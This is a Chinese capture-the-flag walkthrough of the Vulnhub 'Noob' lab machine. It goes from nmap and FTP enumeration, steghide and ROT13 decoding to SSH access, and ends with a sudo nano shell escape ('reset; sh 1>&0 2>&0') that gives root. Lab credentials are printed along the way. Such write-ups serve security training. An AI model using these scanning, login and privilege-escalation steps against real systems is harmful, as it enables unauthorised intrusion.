【渗透测试】Vulnhub Noob

一.渗透环境环境准备

靶机描述

Vulnhub靶机下载:

https://www.vulnhub.com/entry/noob-1,746/

1
2
攻击机ip:192.168.243.128(kali)
靶机ip:192.168.243.130 (Noob)

注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)

下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式 目标:获取目标靶机root目录下的flag

开始渗透

二. 信息收集

主机扫描

1
arp-scan -l

5e26df059556c331.png

端口扫描

使用nmap获取目标靶机开放的端口

1
nmap -sS -sV -sC -p- 192.168.243.130 -oN nmap_full_scan

fe3b8c2e69d12a16.png

发现开放了21、80、和55077的ssh服务端口。

我们发现21 端口还有ftp开放(先收集,后面再解决看看)

漏洞扫描和目录扫描

1
nmap --script=vuln -p21,80,55077 192.168.243.130

00df50491246c15f.png

发现存在HTTP 服务存在 CSRF 风险

1
dirsearch  -u 192.168.243.130

24896edc297564e2.png

三.渗透测试

网页测试

访问

1
192.168.243.130

664e9ec305437ed4.png

一个普通的登录界面

FTP 访问:

在kali中

1
ftp 192.168.243.130

之后登录使用anonymous登录

密码随便输

16878aa23c890366.png

在window 中

文件管理器中输入

1
ftp://192.168.243.130

即可访问到

6d834cf241fde2b1.png

我们可查看到

下载文件到 Kali 本地

1
2
3
ftp> get cred.txt  # 下载cred.txt
ftp> get welcome # 下载welcome
ftp> quit # 退出FTP
1
cat *

06f6a1962ec1aa03.png

即可看到文件内容

给cred.txt base64解码看看

0cb42f082265380e.png

1
champ:password

然后我们用这个用户名和密码登录那个网页

d18109b5c52b7987.png

点击 About Us 会下载一个压缩包:

其内容:

c0a03733350a9044.png

sudo 文件内容

1
2
Did you notice the file name? Isn't is interesting?
(你注意到文件名了吗?它是不是很有趣)

着重研究图片

steghide

使用steghide工具分析图片看看

1
steghide info funny.bmp

之后我们猜测密码为sudo

bce9630e891f630d.png

出现提示

1
steghide info funny.jpg

cbb8a9f1f72c35a4.png

分别提取一下文件

1
2
steghide extract -sf funny.bmp
steghide extract -sf funny.jpg

714a6b3c1d47c781.png

分别查看其内容

47a2a2378ecba7fb.png

1
2
3
This is_not a python file but you are revolving around.
well, try_ to rotate some words too.
jgs:guvf bar vf n fvzcyr bar

交给ai给我解出

根据提示,这段密文使用的是 ROT13 编码(即将字母表旋转 13 位),并且文件名中的下划线_需要替换为空格。解码步骤如下:

  1. 替换下划线为空格This is_not a python fileThis is not a python file
  2. 对字母应用 ROT13:每个字母在字母表中向后移动 13 位(如 A→N, B→O)
1
msg:this one is a simple one(AI 解出来的)
1
wtf:this one is a simple one (这是解码网站给我解出来的) (http://www.rot13.de/index.php)

这个账号和密码对应ssh 服务的用户名和密码

SSH服务

1
ssh  wtf@192.168.243.130 -p 55077

连接后输入密码

进入界面

7fafade0372a4eb0.png

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

使用这个命令可以将这个界面可视化(但是不知道为什么这里没什么鸟用)

四.提权过程

查找后门

Documents发现了一个backup.sh 文件,我们cat 看看

3025c5685ddf61ab.png

分析一下
得到有用信息,分析脚本发现了账户密码

1
n00b:aw3s0m3p@$$w0rd

Flag

Downloads 发现了个flag-1.txt

b766243add291f64.png

1
2
3
VGhlIGZsYWcgaXMgdGhlIGVuY29kZWQgc3RyaW5nIGl0c2VsZg
解码后
The flag is the encoded string itself

Pictures发现了个echo.sh

81a2065d6ec02179.png

wtf目录下就这些东西了

回到最开始的那个脚本,我们利用其中的账户密码,切换用户试试

用户登录

切换成n00b 用户

1
su n00b

340ad33a6982ba46.png

SUID、sudo提权

直接sudo -l查看可利用的程序

1
sudo -l

c5c2f10a8761d712.png

找到了/bin/nano(root 权限)

https://gtfobins.github.io/网站上查询:nano

点击sudo

a9d8d704ebb5e675.png

我们终端输入该命令

1
2
3
sudo nano
ctrl+r ,Ctrl+x
输入 reset; sh 1>&0 2>&0 然后回车

77b6d77975fa8efc.png

1
2
whoami
cd /root

1f83f686d9b63f51.png

root.txt

1
2
3
RW5kb3JzZSBtZSBvbiBsaW5rZWRpbiA9PiBodHRwczovL3d3dy5saW5rZWRpbi5jb20vaW4vZGVlcGFrLWFoZWVyCg==
解码后
Endorse me on linkedin => https://www.linkedin.com/in/deepak-aheer

总结

一个偏misc的靶机

考点有

  1. steghide 工具的使用

  2. base64、rot13解密

  3. nano提权